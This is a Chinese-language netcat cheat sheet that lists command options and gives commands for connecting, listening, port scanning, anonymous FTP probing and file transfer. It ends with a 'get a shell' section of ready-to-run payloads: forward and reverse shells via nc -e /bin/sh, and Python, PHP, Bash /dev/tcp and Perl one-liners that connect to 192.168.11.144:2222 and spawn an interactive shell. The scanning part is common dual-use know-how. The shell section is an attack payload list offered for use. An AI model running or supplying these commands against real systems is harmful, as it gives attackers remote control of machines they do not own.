参数:
 -g <网关> 设置路由器跃程通信网关,最多可设置8个;
 -G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
 -h 在线帮助;
 -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
 -l 使用监听模式,管控传入的资料;
 -n 直接使用IP地址,而不通过域名服务器;
 -o <输出文件> 指定文件名称,把往来传输的数据以16进制码倾倒成该文件保存;
 -p <通信端口> 设置本地主机使用的通信端口;
 -r 乱数指定本地与远端主机的通信端口;
 -s <来源位址> 设置本地主机送出数据包的IP地址;
 -u 使用UDP传输协议;
 -v 显示指令执行过程;
 -w <超时秒数> 设置等待连线的时间;
 -z 使用0输入/输出模式,只在扫描通信端口时使用。
连接到远程主机
nc -nvv Targert_IP Targert_Port
监听本地主机
nc -l -p Local_Port
端口扫描

扫描指定主机的单一端口是否开放

nc -v target_IP target_Port

扫描指定主机的某个端口段的端口开放信息

nc -v -z Target_IP  Target_Port_Start - Target_Port_End

扫描指定主机的某个UDP端口段,并且返回端口信息

nc -v -z -u Target_IP Target_Port_Start - Target_Port_End

扫描指定主机的端口段信息,并且设置超时时间为3秒

nc  -vv(-v) -z  -w  time  Target_IP Target_Port_Start-Targert_Port_End
端口监听

监听本地端口

格式:nc  -l  -p  local_Port

监听本地端口,并且将监听到的信息保存到指定的文件中

格式:nc -l  -p local_Port > target_File

连接远程系统

格式:nc Target_IP  Target_Port

FTP匿名探测

格式:nc Targert_IP  21
文件传输

传输端:

格式:nc  Targert_IP  Targert_Port  <  Targert_File

接收端:

格式:nc   -l  Local_Port  >  Targert_File
获取shell

正向shell:客户端连接服务器

本地主机:

nc target_ip target_port

目标主机:

nc -lvp target_port -e /bin/sh

反向shell:服务器链接客户端

本地主机:

nc -lvp target_port

目标主机:

nc target_ip target_port -e /bin/sh

目标主机上没有nc

python反向shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP反向shell

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

Bash反向shell

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

Perl反向shell

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'